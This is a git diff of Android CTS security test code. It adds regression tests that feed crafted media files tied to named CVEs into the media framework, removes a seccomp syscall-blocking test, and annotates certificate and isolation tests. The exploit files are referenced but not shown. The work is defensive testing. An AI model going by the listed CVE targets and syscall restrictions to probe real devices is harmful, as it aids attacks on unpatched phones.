"48:12:BD:92:3C:A8:C4:39:06:E7:30:6D:27:96:E6:A4:CF:22:2E:7D",
"F9:B5:B6:32:45:5F:9C:BE:EC:57:5F:80:DC:E9:6E:2C:C7:B2:78:B7",
- "5F:3A:FC:0A:8B:64:F6:86:67:34:74:DF:7E:A9:A2:FE:F9:FA:7A:51",
"E6:21:F3:35:43:79:05:9A:4B:68:30:9D:8A:2F:74:22:15:87:EC:79",
"89:DF:74:FE:5C:F4:0F:4A:80:F9:E3:37:7D:54:DA:91:E1:01:31:8E",
"E0:B4:32:2E:B2:F6:A5:68:B6:54:53:84:48:18:4A:50:36:87:43:84",
"7E:04:DE:89:6A:3E:66:6D:00:E6:87:D3:3F:FA:D9:3B:E8:3D:34:9E",
"6E:3A:55:A4:19:0C:19:5C:93:84:3C:C0:DB:72:2E:31:30:61:F0:B1",
- "31:F1:FD:68:22:63:20:EE:C6:3B:3F:9D:EA:4A:3E:53:7C:7C:39:17",
- "23:88:C9:D3:71:CC:9E:96:3D:FF:7D:3C:A7:CE:FC:D6:25:EC:19:0D",
- "7F:8A:B0:CF:D0:51:87:6A:66:F3:36:0F:47:C8:8D:8C:D3:35:FC:74",
"4E:B6:D5:78:49:9B:1C:CF:5F:58:1E:AD:56:BE:3D:9B:67:44:A5:E5",
"5A:8C:EF:45:D7:A6:98:59:76:7A:8C:8B:44:96:B5:78:CF:47:4B:1A",
"8D:A7:F9:65:EC:5E:FC:37:91:0F:1C:6E:59:FD:C1:CC:6A:6E:DE:16",
"B1:2E:13:63:45:86:A4:6F:1A:B2:60:68:37:58:2D:C4:AC:FD:94:97",
- "04:83:ED:33:99:AC:36:08:05:87:22:ED:BC:5E:46:00:E3:BE:F9:D7",
};
}
diff --git a/tests/tests/security/src/android/security/cts/CertificateTest.java b/tests/tests/security/src/android/security/cts/CertificateTest.java
index 2b8f351..8805072 100644
--- a/tests/tests/security/src/android/security/cts/CertificateTest.java
+++ b/tests/tests/security/src/android/security/cts/CertificateTest.java
@@ -16,6 +16,8 @@
package android.security.cts;
+import com.android.compatibility.common.util.CddTest;
+
import java.io.IOException;
import android.platform.test.annotations.SecurityTest;
import java.security.KeyStore;
@@ -36,6 +38,7 @@
@SecurityTest
public class CertificateTest extends TestCase {
+ @CddTest(requirement="9.8.4/C-0-1")
public void testNoRemovedCertificates() throws Exception {
Set<String> expectedCertificates = new HashSet<String>(
Arrays.asList(CertificateData.CERTIFICATE_DATA));
@@ -62,6 +65,7 @@
*
* <p>For questions, comments, and code reviews please contact security@android.com.
*/
+ @CddTest(requirement="9.8.4/C-0-1,C-0-2")
public void testNoAddedCertificates() throws Exception {
Set<String> expectedCertificates = new HashSet<String>(
Arrays.asList(CertificateData.CERTIFICATE_DATA));
@@ -70,6 +74,7 @@
assertEquals("Unknown CA certificates", Collections.EMPTY_SET, deviceCertificates);
}
+ @CddTest(requirement="9.8.4/C-0-1")
public void testBlockCertificates() throws Exception {
Set<String> blockCertificates = new HashSet<String>();
blockCertificates.add("C0:60:ED:44:CB:D8:81:BD:0E:F8:6C:0B:A2:87:DD:CF:81:67:47:8C");
diff --git a/tests/tests/security/src/android/security/cts/EffectBundleTest.java b/tests/tests/security/src/android/security/cts/EffectBundleTest.java
index 761b2e3..ae55494 100644
--- a/tests/tests/security/src/android/security/cts/EffectBundleTest.java
+++ b/tests/tests/security/src/android/security/cts/EffectBundleTest.java
@@ -49,44 +49,68 @@
//Testing security bug: 32436341
public void testEqualizer_getParamCenterFreq() throws Exception {
+ if (!hasEqualizer()) {
+ return;
+ }
testGetParam(MEDIA_SHORT, Equalizer.PARAM_CENTER_FREQ, INVALID_BAND_ARRAY, mValue0,
mValue1);
}
//Testing security bug: 32588352
public void testEqualizer_getParamCenterFreq_long() throws Exception {
+ if (!hasEqualizer()) {
+ return;
+ }
testGetParam(MEDIA_LONG, Equalizer.PARAM_CENTER_FREQ, INVALID_BAND_ARRAY, mValue0, mValue1);
}
//Testing security bug: 32438598
public void testEqualizer_getParamBandLevel() throws Exception {
+ if (!hasEqualizer()) {
+ return;
+ }
testGetParam(MEDIA_SHORT, Equalizer.PARAM_BAND_LEVEL, INVALID_BAND_ARRAY, mValue0, mValue1);
}
//Testing security bug: 32584034
public void testEqualizer_getParamBandLevel_long() throws Exception {
+ if (!hasEqualizer()) {
+ return;
+ }
testGetParam(MEDIA_LONG, Equalizer.PARAM_BAND_LEVEL, INVALID_BAND_ARRAY, mValue0, mValue1);
}
//Testing security bug: 32247948
public void testEqualizer_getParamFreqRange() throws Exception {
+ if (!hasEqualizer()) {
+ return;
+ }
testGetParam(MEDIA_SHORT, Equalizer.PARAM_BAND_FREQ_RANGE, INVALID_BAND_ARRAY, mValue0,
mValue1);
}
//Testing security bug: 32588756
public void testEqualizer_getParamFreqRange_long() throws Exception {
+ if (!hasEqualizer()) {
+ return;
+ }
testGetParam(MEDIA_LONG, Equalizer.PARAM_BAND_FREQ_RANGE, INVALID_BAND_ARRAY, mValue0,
mValue1);
}
//Testing security bug: 32448258
public void testEqualizer_getParamPresetName() throws Exception {
+ if (!hasEqualizer()) {
+ return;
+ }
testParamPresetName(MEDIA_SHORT);
}
//Testing security bug: 32588016
public void testEqualizer_getParamPresetName_long() throws Exception {
+ if (!hasEqualizer()) {
+ return;
+ }
testParamPresetName(MEDIA_LONG);
}
@@ -124,6 +148,9 @@
//testing security bug: 32095626
public void testEqualizer_setParamBandLevel() throws Exception {
+ if (!hasEqualizer()) {
+ return;
+ }
final int command = Equalizer.PARAM_BAND_LEVEL;
short[] value = { 1000 };
for (int invalidBand : INVALID_BAND_ARRAY)
@@ -136,6 +163,9 @@
//testing security bug: 32585400
public void testEqualizer_setParamBandLevel_long() throws Exception {
+ if (!hasEqualizer()) {
+ return;
+ }
final int command = Equalizer.PARAM_BAND_LEVEL;
short[] value = { 1000 };
for (int invalidBand : INVALID_BAND_ARRAY)
@@ -148,24 +178,36 @@
//testing security bug: 32705438
public void testEqualizer_getParamFreqRangeCommand_short() throws Exception {
+ if (!hasEqualizer()) {
+ return;
+ }
assertTrue("testEqualizer_getParamFreqRangeCommand_short did not complete successfully",
eqGetParamFreqRangeCommand(MEDIA_SHORT));
}
//testing security bug: 32703959
public void testEqualizer_getParamFreqRangeCommand_long() throws Exception {
+ if (!hasEqualizer()) {
+ return;
+ }
assertTrue("testEqualizer_getParamFreqRangeCommand_long did not complete successfully",
eqGetParamFreqRangeCommand(MEDIA_LONG));
}
//testing security bug: 37563371 (short media)
public void testEqualizer_setParamProperties_short() throws Exception {
+ if (!hasEqualizer()) {
+ return;
+ }
assertTrue("testEqualizer_setParamProperties_long did not complete successfully",
eqSetParamProperties(MEDIA_SHORT));
}
//testing security bug: 37563371 (long media)
public void testEqualizer_setParamProperties_long() throws Exception {
+ if (!hasEqualizer()) {
+ return;
+ }
assertTrue("testEqualizer_setParamProperties_long did not complete successfully",
eqSetParamProperties(MEDIA_LONG));
}
@@ -484,6 +526,18 @@
}
}
+ private boolean hasEqualizer() {
+ boolean result = false;
+ try {
+ MediaPlayer mp = MediaPlayer.create(getInstrumentation().getContext(), R.raw.good);
+ new Equalizer(0 /*priority*/, mp.getAudioSessionId());
+ result = true;
+ } catch (Exception e) {
+ Log.d(TAG, "Cannot create equalizer");
+ }
+ return result;
+ }
+
private static byte[] intToByteArray(int value) {
ByteBuffer converter = ByteBuffer.allocate(4);
converter.order(ByteOrder.nativeOrder());
diff --git a/tests/tests/security/src/android/security/cts/EncryptionTest.java b/tests/tests/security/src/android/security/cts/EncryptionTest.java
index b070f8f..6adb96d 100644
--- a/tests/tests/security/src/android/security/cts/EncryptionTest.java
+++ b/tests/tests/security/src/android/security/cts/EncryptionTest.java
@@ -16,6 +16,7 @@
package android.security.cts;
+import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.util.PropertyUtil;
import android.platform.test.annotations.SecurityTest;
@@ -23,14 +24,13 @@
import junit.framework.TestCase;
import android.content.Context;
+import android.content.pm.PackageManager;
import android.util.Log;
import java.io.BufferedReader;
import java.io.FileReader;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
-import android.content.pm.PackageManager;
-
@SecurityTest
public class EncryptionTest extends AndroidTestCase {
@@ -46,16 +46,18 @@
private static native boolean aesIsFast();
- private boolean isTelevision() {
- PackageManager pm = getContext().getPackageManager();
- return pm.hasSystemFeature(PackageManager.FEATURE_TELEVISION) || pm.hasSystemFeature(PackageManager.FEATURE_LEANBACK);
- }
-
private boolean isRequired() {
+ PackageManager pm = this.getContext().getPackageManager();
+ if (pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+ Log.i(TAG, "Device encryption is not needed for automotive device type");
+ return false;
+ }
+
// Optional before MIN_API_LEVEL
- return PropertyUtil.getFirstApiLevel() >= MIN_API_LEVEL && !isTelevision();
+ return PropertyUtil.getFirstApiLevel() >= MIN_API_LEVEL;
}
+ @CddTest(requirement="9.9/C-2-1")
public void testEncryption() throws Exception {
if (!isRequired() || deviceIsEncrypted()) {
return;
diff --git a/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java b/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java
index 56e3e13..1a2f620 100644
--- a/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java
+++ b/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java
@@ -26,6 +26,7 @@
import android.security.cts.IsolatedService;
import android.test.AndroidTestCase;
import android.util.Log;
+import com.android.compatibility.common.util.CddTest;
import com.android.internal.util.ArrayUtils;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
@@ -74,6 +75,7 @@
mLatch.await(BIND_SERVICE_TIMEOUT, TimeUnit.MILLISECONDS));
}
+ @CddTest(requirement="9.2/C-0-1")
public void testGetCachedServicesFromIsolatedService() throws RemoteException {
String[] cachedServices = mService.getCachedSystemServices();
for (String serviceName : cachedServices) {
@@ -82,6 +84,7 @@
}
}
+ @CddTest(requirement="9.2/C-0-1")
public void testGetServiceFromIsolatedService() throws RemoteException {
for (String serviceName : RESTRICTED_SERVICES_TO_TEST) {
IBinder service = mService.getSystemService(serviceName);
diff --git a/tests/tests/security/src/android/security/cts/ListeningPortsTest.java b/tests/tests/security/src/android/security/cts/ListeningPortsTest.java
index 54fa406..378f0a6 100644
--- a/tests/tests/security/src/android/security/cts/ListeningPortsTest.java
+++ b/tests/tests/security/src/android/security/cts/ListeningPortsTest.java
@@ -330,7 +330,8 @@
String[] fields = line.split("\\s+");
final int expectedNumColumns = 12;
assertTrue(procFilePath + " should have at least " + expectedNumColumns
- + " columns of output " + fields, fields.length >= expectedNumColumns);
+ + " columns of output " + Arrays.toString(fields),
+ fields.length >= expectedNumColumns);
String state = fields[3];
int uid = Integer.parseInt(fields[7]);
diff --git a/tests/tests/security/src/android/security/cts/MotionEventTest.java b/tests/tests/security/src/android/security/cts/MotionEventTest.java
index db29704..4a8cc780 100644
--- a/tests/tests/security/src/android/security/cts/MotionEventTest.java
+++ b/tests/tests/security/src/android/security/cts/MotionEventTest.java
@@ -124,7 +124,8 @@
FutureTask<Point> task = new FutureTask<>(() -> {
final int[] viewLocation = new int[2];
viewHolder[0].getLocationOnScreen(viewLocation);
- return new Point(viewLocation[0], viewLocation[1]);
+ // Set y position to the center of the view, to make sure it is away from the status bar
+ return new Point(viewLocation[0], viewLocation[1] + viewHolder[0].getHeight() / 2);
});
mActivity.runOnUiThread(task);
Point viewLocation = task.get(5, TimeUnit.SECONDS);
diff --git a/tests/tests/security/src/android/security/cts/Movie33897722.java b/tests/tests/security/src/android/security/cts/Movie33897722.java
index e14ded1..3e36fa8 100644
--- a/tests/tests/security/src/android/security/cts/Movie33897722.java
+++ b/tests/tests/security/src/android/security/cts/Movie33897722.java
@@ -40,16 +40,34 @@
* color map, which would be reading memory that we do not control, and may be uninitialized.
*/
public void test_android_bug_33897722() {
- InputStream exploitImage = mContext.getResources().openRawResource(R.raw.bug_33897722);
- Movie movie = Movie.decodeStream(exploitImage);
- assertNotNull(movie);
- assertEquals(movie.width(), 600);
- assertEquals(movie.height(), 752);
-
// The image has a 10 x 10 frame on top of a transparent background. Only test the
// 10 x 10 frame, since the original bug would never have used uninitialized memory
// outside of it.
- Bitmap bitmap = Bitmap.createBitmap(10, 10, Bitmap.Config.ARGB_8888);
+ test_movie(R.raw.bug_33897722, 600, 752, 10, 10);
+ }
+
+ public void test_android_bug_37662286() {
+ // The image has a background color that is out of range. Arbitrarily test
+ // the upper left corner. (Most of the image is transparent.)
+ test_movie(R.raw.bug_37662286, 453, 272, 10, 10);
+ }
+
+ /**
+ * Test that a Movie draws transparent where it should.
+ *
+ * Old code read uninitialized memory. This ensures that we fall back to transparent.
+ */
+ private void test_movie(int resId, int screenWidth, int screenHeight,
+ int drawWidth, int drawHeight) {
+ assertTrue(drawWidth <= screenWidth && drawHeight <= screenHeight);
+
+ InputStream exploitImage = mContext.getResources().openRawResource(resId);
+ Movie movie = Movie.decodeStream(exploitImage);
+ assertNotNull(movie);
+ assertEquals(movie.width(), screenWidth);
+ assertEquals(movie.height(), screenHeight);
+
+ Bitmap bitmap = Bitmap.createBitmap(drawWidth, drawHeight, Bitmap.Config.ARGB_8888);
Canvas canvas = new Canvas(bitmap);
// Use Src PorterDuff mode, to see exactly what the Movie creates.
@@ -58,8 +76,8 @@
movie.draw(canvas, 0, 0, paint);
- for (int x = 0; x < 10; x++) {
- for (int y = 0; y < 10; y++) {
+ for (int x = 0; x < drawWidth; x++) {
+ for (int y = 0; y < drawHeight; y++) {
assertEquals(bitmap.getPixel(x, y), Color.TRANSPARENT);
}
}
diff --git a/tests/tests/security/src/android/security/cts/SeccompTest.java b/tests/tests/security/src/android/security/cts/SeccompTest.java
deleted file mode 100644
index 745aa87..0000000
--- a/tests/tests/security/src/android/security/cts/SeccompTest.java
+++ /dev/null
@@ -1,103 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.test.AndroidTestCase;
-
-import com.android.compatibility.common.util.CpuFeatures;
-
-import junit.framework.TestCase;
-
-/**
- * Verify that the seccomp policy is enforced
- */
-public class SeccompTest extends AndroidTestCase {
-
- static {
- System.loadLibrary("ctssecurity_jni");
- }
-
- public void testCTSSyscallBlocked() {
- if (CpuFeatures.isArm64Cpu()) {
- testBlocked(217); // __NR_add_key
- testBlocked(219); // __NR_keyctl
- testAllowed(56); // __NR_openat
-
- // b/35034743 - do not remove test without reading bug
- testAllowed(267); // __NR_fstatfs64
- } else if (CpuFeatures.isArmCpu()) {
- testBlocked(309); // __NR_add_key
- testBlocked(311); // __NR_keyctl
- testAllowed(322); // __NR_openat
-
- // b/35906875 - do not remove test without reading bug
- testAllowed(316); // __NR_inotify_init
- } else if (CpuFeatures.isX86_64Cpu()) {
- testBlocked(248); // __NR_add_key
- testBlocked(250); // __NR_keyctl
- testAllowed(257); // __NR_openat
- } else if (CpuFeatures.isX86Cpu()) {
- testBlocked(286); // __NR_add_key
- testBlocked(288); // __NR_keyctl
- testAllowed(295); // __NR_openat
- } else if (CpuFeatures.isMips64Cpu()) {
- testBlocked(5239); // __NR_add_key
- testBlocked(5241); // __NR_keyctl
- testAllowed(5247); // __NR_openat
- } else if (CpuFeatures.isMipsCpu()) {
- testBlocked(4280); // __NR_add_key
- testBlocked(4282); // __NR_keyctl
- testAllowed(4288); // __NR_openat
- } else {
- fail("Unsupported OS");
- }
- }
-
- public void testCTSSwapOnOffBlocked() {
- if (CpuFeatures.isArm64Cpu()) {
- testBlocked(224); // __NR_swapon
- testBlocked(225); // __NR_swapoff
- } else if (CpuFeatures.isArmCpu()) {
- testBlocked(87); // __NR_swapon
- testBlocked(115); // __NR_swapoff
- } else if (CpuFeatures.isX86_64Cpu()) {
- testBlocked(167); // __NR_swapon
- testBlocked(168); // __NR_swapoff
- } else if (CpuFeatures.isX86Cpu()) {
- testBlocked(87); // __NR_swapon
- testBlocked(115); // __NR_swapoff
- } else if (CpuFeatures.isMips64Cpu()) {
- testBlocked(5162); // __NR_swapon
- testBlocked(5163); // __NR_swapoff
- } else if (CpuFeatures.isMipsCpu()) {
- testBlocked(4087); // __NR_swapon
- testBlocked(4115); // __NR_swapoff
- } else {
- fail("Unsupported OS");
- }
- }
-
- private void testBlocked(int nr) {
- assertTrue("Syscall " + nr + " allowed", testSyscallBlocked(nr));
- }
-
- private void testAllowed(int nr) {
- assertFalse("Syscall " + nr + " blocked", testSyscallBlocked(nr));
- }
-
- private static final native boolean testSyscallBlocked(int nr);
-}
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index d76b97c..72bdb3a 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -46,9 +46,8 @@
import android.webkit.cts.CtsTestServer;
import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.Crash;
-import java.io.ObjectInputStream;
+import java.io.BufferedReader;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileReader;
@@ -60,6 +59,10 @@
import java.util.concurrent.locks.ReentrantLock;
import java.util.regex.Pattern;
+import org.json.JSONArray;
+import org.json.JSONException;
+import org.json.JSONObject;
+
import android.security.cts.R;
@@ -83,6 +86,16 @@
***********************************************************/
@SecurityTest
+ public void testStagefright_cve_2017_0643() throws Exception {
+ doStagefrightTest(R.raw.cve_2017_0643);
+ }
+
+ @SecurityTest
+ public void testStagefright_cve_2017_0728() throws Exception {
+ doStagefrightTest(R.raw.cve_2017_0728);
+ }
+
+ @SecurityTest
public void testStagefright_bug_62187433() throws Exception {
doStagefrightTest(R.raw.bug_62187433);
}
@@ -277,11 +290,31 @@
}
@SecurityTest
+ public void testStagefright_cve_2017_0857() throws Exception {
+ doStagefrightTest(R.raw.cve_2017_0857);
+ }
+
+ @SecurityTest
+ public void testStagefright_cve_2017_0600() throws Exception {
+ doStagefrightTest(R.raw.cve_2017_0600);
+ }
+
+ @SecurityTest
+ public void testStagefright_cve_2017_0599() throws Exception {
+ doStagefrightTest(R.raw.cve_2017_0599);
+ }
+
+ @SecurityTest
public void testStagefright_cve_2016_0842() throws Exception {
doStagefrightTest(R.raw.cve_2016_0842);
}
@SecurityTest
+ public void testStagefright_cve_2016_6712() throws Exception {
+ doStagefrightTest(R.raw.cve_2016_6712);
+ }
+
+ @SecurityTest
public void testStagefright_bug_34097672() throws Exception {
doStagefrightTest(R.raw.bug_34097672);
}
@@ -493,7 +526,7 @@
return new Surface(surfaceTex);
}
- public ArrayList<Crash> getCrashReport(String testname, long timeout)
+ public JSONArray getCrashReport(String testname, long timeout)
throws InterruptedException {
Log.i(TAG, CrashUtils.UPLOAD_REQUEST);
File reportFile = new File(CrashUtils.DEVICE_PATH, testname);
@@ -505,9 +538,15 @@
if (!reportFile.exists() || !reportFile.isFile() || !lockFile.exists()) {
return null;
}
- try (ObjectInputStream reader = new ObjectInputStream(new FileInputStream(reportFile))) {
- return (ArrayList<Crash>) reader.readObject();
- } catch (IOException | ClassNotFoundException e) {
+ try (BufferedReader reader = new BufferedReader(new FileReader(reportFile))) {
+ StringBuilder json = new StringBuilder();
+ String line = reader.readLine();
+ while (line != null) {
+ json.append(line);
+ line = reader.readLine();
+ }
+ return new JSONArray(json.toString());
+ } catch (IOException | JSONException e) {
Log.e(TAG, "Failed to deserialize crash list with error " + e.getMessage());
return null;
}
@@ -578,7 +617,7 @@
SystemClock.sleep(1000);
}
if (what == MediaPlayer.MEDIA_ERROR_SERVER_DIED) {
- ArrayList<Crash> crashes = getCrashReport(getName(), 5000);
+ JSONArray crashes = getCrashReport(getName(), 5000);
if (crashes == null) {
Log.e(TAG, "Crash results not found for test " + getName());
return what;
@@ -942,52 +981,6 @@
thr.join();
}
- private void doStagefrightTestMediaPlayerANR(final int rid, final String uri) throws Exception {
- String name = uri != null ? uri :
- getInstrumentation().getContext().getResources().getResourceEntryName(rid);
- Log.i(TAG, "start mediaplayerANR test for: " + name);
-
- final MediaPlayerCrashListener mpl = new MediaPlayerCrashListener();
-
- LooperThread t = new LooperThread(new Runnable() {
- @Override
- public void run() {
- MediaPlayer mp = new MediaPlayer();
- mp.setOnErrorListener(mpl);
- mp.setOnPreparedListener(mpl);
- mp.setOnCompletionListener(mpl);
- Surface surface = getDummySurface();
- mp.setSurface(surface);
- AssetFileDescriptor fd = null;
- try {
- if (uri == null) {
- fd = getInstrumentation().getContext().getResources()
- .openRawResourceFd(rid);
-
- mp.setDataSource(fd.getFileDescriptor(),
- fd.getStartOffset(),
- fd.getLength());
- } else {
- mp.setDataSource(uri);
- }
- mp.prepareAsync();
- } catch (Exception e) {
- } finally {
- closeQuietly(fd);
- }
-
- Looper.loop();
- mp.release();
- }
- });
-
- t.start();
- String cve = name.replace("_", "-").toUpperCase();
- assertTrue("Device *IS* vulnerable to " + cve, mpl.waitForErrorOrCompletion());
- t.stopLooper();
- t.join(); // wait for thread to exit so we're sure the player was released
- }
-
public void testBug36215950() throws Exception {
doStagefrightTestRawBlob(R.raw.bug_36215950, "video/hevc", 320, 240);
}
@@ -1000,6 +993,20 @@
doStagefrightTestRawBlob(R.raw.bug_36895511, "video/hevc", 320, 240);
}
+ public void testBug64836894() throws Exception {
+ doStagefrightTestRawBlob(R.raw.bug_64836894, "video/avc", 320, 240);
+ }
+
+ @SecurityTest
+ public void testCve_2017_0762() throws Exception {
+ doStagefrightTestRawBlob(R.raw.cve_2017_0762, "video/hevc", 320, 240);
+ }
+
+ @SecurityTest
+ public void testCve_2017_0687() throws Exception {
+ doStagefrightTestRawBlob(R.raw.cve_2017_0687, "video/avc", 320, 240);
+ }
+
@SecurityTest
public void testBug_37930177() throws Exception {
doStagefrightTestRawBlob(R.raw.bug_37930177_hevc, "video/hevc", 320, 240);
@@ -1145,4 +1152,50 @@
thr.stopLooper();
thr.join();
}
+
+ private void doStagefrightTestMediaPlayerANR(final int rid, final String uri) throws Exception {
+ String name = uri != null ? uri :
+ getInstrumentation().getContext().getResources().getResourceEntryName(rid);
+ Log.i(TAG, "start mediaplayerANR test for: " + name);
+
+ final MediaPlayerCrashListener mpl = new MediaPlayerCrashListener();
+
+ LooperThread t = new LooperThread(new Runnable() {
+ @Override
+ public void run() {
+ MediaPlayer mp = new MediaPlayer();
+ mp.setOnErrorListener(mpl);
+ mp.setOnPreparedListener(mpl);
+ mp.setOnCompletionListener(mpl);
+ Surface surface = getDummySurface();
+ mp.setSurface(surface);
+ AssetFileDescriptor fd = null;
+ try {
+ if (uri == null) {
+ fd = getInstrumentation().getContext().getResources()
+ .openRawResourceFd(rid);
+
+ mp.setDataSource(fd.getFileDescriptor(),
+ fd.getStartOffset(),
+ fd.getLength());
+ } else {
+ mp.setDataSource(uri);
+ }
+ mp.prepareAsync();
+ } catch (Exception e) {
+ } finally {
+ closeQuietly(fd);
+ }
+
+ Looper.loop();
+ mp.release();
+ }
+ });
+
+ t.start();
+ String cve = name.replace("_", "-").toUpperCase();
+ assertTrue("Device *IS* vulnerable to " + cve, mpl.waitForErrorOrCompletion());
+ t.stopLooper();
+ t.join(); // wait for thread to exit so we're sure the player was released
+ }
}
diff --git a/tests/tests/security/testeffect/Android.mk b/tests/tests/security/testeffect/Android.mk
index a7e3cac..7e4ab93 100644
--- a/tests/tests/security/testeffect/Android.mk
+++ b/tests/tests/security/testeffect/Android.mk
@@ -28,5 +28,6 @@
LOCAL_C_INCLUDES := \
$(call include-path-for, audio-effects)
+LOCAL_CFLAGS := -Wno-unused-parameter
include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/selinux/selinuxTargetSdk/Android.mk b/tests/tests/selinux/selinuxTargetSdk/Android.mk
index cfbe04c..a0923ee 100755
--- a/tests/tests/selinux/selinuxTargetSdk/Android.mk
+++ b/tests/tests/selinux/selinuxTargetSdk/Android.mk
@@ -17,8 +17,11 @@
include $(CLEAR_VARS)
LOCAL_MODULE_TAGS := tests
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_COMPATIBILITY_SUITE := cts
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ compatibility-device-util \
+ ctstestrunner
+LOCAL_JAVA_LIBRARIES := legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_PACKAGE_NAME := CtsSelinuxTargetSdkTestCases
LOCAL_SDK_VERSION := current
diff --git a/tests/tests/selinux/selinuxTargetSdk/AndroidTest.xml b/tests/tests/selinux/selinuxTargetSdk/AndroidTest.xml
index 8e394d8..5f88bb1 100644
--- a/tests/tests/selinux/selinuxTargetSdk/AndroidTest.xml
+++ b/tests/tests/selinux/selinuxTargetSdk/AndroidTest.xml
@@ -14,7 +14,9 @@
limitations under the License.
-->
<configuration description="Config for CTS Permission Selinux test cases">
+ <option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="security" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsSelinuxTargetSdkTestCases.apk" />
diff --git a/tests/tests/selinux/selinuxTargetSdk2/Android.mk b/tests/tests/selinux/selinuxTargetSdk2/Android.mk
index 9397f97..f475f9f 100755
--- a/tests/tests/selinux/selinuxTargetSdk2/Android.mk
+++ b/tests/tests/selinux/selinuxTargetSdk2/Android.mk
@@ -17,8 +17,11 @@
include $(CLEAR_VARS)
LOCAL_MODULE_TAGS := tests
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_COMPATIBILITY_SUITE := cts
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ compatibility-device-util \
+ ctstestrunner \
+ legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_PACKAGE_NAME := CtsSelinuxTargetSdk2TestCases
LOCAL_SDK_VERSION := current
diff --git a/tests/tests/selinux/selinuxTargetSdk2/AndroidTest.xml b/tests/tests/selinux/selinuxTargetSdk2/AndroidTest.xml
index b53a7c4..4b278b2 100644
--- a/tests/tests/selinux/selinuxTargetSdk2/AndroidTest.xml
+++ b/tests/tests/selinux/selinuxTargetSdk2/AndroidTest.xml
@@ -14,7 +14,9 @@
limitations under the License.
-->
<configuration description="Config for CTS Permission Selinux test cases">
+ <option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="security" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsSelinuxTargetSdk2TestCases.apk" />
diff --git a/tests/tests/shortcutmanager/Android.mk b/tests/tests/shortcutmanager/Android.mk
index 49a3b70..29333aa 100755
--- a/tests/tests/shortcutmanager/Android.mk
+++ b/tests/tests/shortcutmanager/Android.mk
@@ -36,7 +36,7 @@
LOCAL_PACKAGE_NAME := CtsShortcutManagerTestCases
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := test_current
diff --git a/tests/tests/shortcutmanager/AndroidTest.xml b/tests/tests/shortcutmanager/AndroidTest.xml
index 4e98593..1d38171 100644
--- a/tests/tests/shortcutmanager/AndroidTest.xml
+++ b/tests/tests/shortcutmanager/AndroidTest.xml
@@ -14,6 +14,7 @@
limitations under the License.
-->
<configuration description="Config for ShortcutManager CTS test cases">
+ <option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="framework" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/shortcutmanager/packages/launchermanifest/Android.mk b/tests/tests/shortcutmanager/packages/launchermanifest/Android.mk
index a11c978..5774466 100644
--- a/tests/tests/shortcutmanager/packages/launchermanifest/Android.mk
+++ b/tests/tests/shortcutmanager/packages/launchermanifest/Android.mk
@@ -38,7 +38,7 @@
LOCAL_SDK_VERSION := current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_AAPT_FLAGS += --rename-manifest-package android.content.pm.cts.shortcutmanager.packages.launcher1
@@ -68,7 +68,7 @@
LOCAL_SDK_VERSION := current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_AAPT_FLAGS += --rename-manifest-package android.content.pm.cts.shortcutmanager.packages.launcher2
@@ -98,7 +98,7 @@
LOCAL_SDK_VERSION := current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_AAPT_FLAGS += --rename-manifest-package android.content.pm.cts.shortcutmanager.packages.launcher3
diff --git a/tests/tests/shortcutmanager/packages/launchermanifest_nonshared/Android.mk b/tests/tests/shortcutmanager/packages/launchermanifest_nonshared/Android.mk
